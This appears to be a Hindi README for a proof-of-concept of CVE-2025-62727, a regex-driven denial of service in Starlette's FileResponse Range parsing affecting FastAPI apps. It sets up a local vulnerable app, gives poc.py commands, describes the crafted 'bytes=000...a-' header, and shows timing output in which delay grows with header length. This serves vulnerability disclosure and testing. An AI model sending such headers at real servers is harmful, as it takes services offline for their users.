
CVE-2025-62727 का प्रूफ ऑफ कॉन्सेप्ट जो FastAPI (आधारित Starlette <= 0.48.0) में denial-of-service उत्पन्न कर सकता है
CVE-2025-62727 का लक्षित पीड़ित एक सरल FastAPI ऐप है जो:
/ पर Hello World प्रदान करता है।StaticFiles का उपयोग करके /static के अंतर्गत स्थिर फ़ाइलें प्रदान करता है।1024, 2048, 50176 के लिए N बार दोहराया गया A युक्त टेक्स्ट फ़ाइलें स्वतः उत्पन्न करता है।(वैकल्पिक) virtualenv बनाएं और सक्रिय करें।
निर्भरताएँ स्थापित करें:
pip install -r requirements.txt
सर्वर प्रारंभ करें:
uvicorn main:app --reload
खोलें:
http://127.0.0.1:8000/।http://127.0.0.1:8000/static/1024.txt आदि।static/ निर्देशिका के अंतर्गत उत्पन्न होती हैं। मौजूदा फ़ाइलें अधिलेखित नहीं होती हैं।StaticFiles का उपयोग करता है।शामिल poc.py /static रूट के माध्यम से bytes=000...000a- रूप के एक क्राफ्टेड हेडर का उपयोग करके Starlette के FileResponse में CPU-गहन Range पार्सिंग को ट्रिगर करता है।
सर्वर चलाएं, फिर दूसरे शेल में:
python3 poc.py --sizes 1000,2000,4000,7000
लक्ष्य URL को ओवरराइड करें (वैकल्पिक):
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
नोट्स:
http://127.0.0.1:8000/static/50176.txt (ऐप द्वारा उत्पन्न एक फ़ाइल) को लक्षित करता है। इसे बदलने के लिए --url का उपयोग करें।--sizes को कम करें, या यदि हेडर सफल होते हैं और आप एक मजबूत प्रभाव चाहते हैं तो ऊपर की ओर समायोजित करें।परिणाम उदाहरण:
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms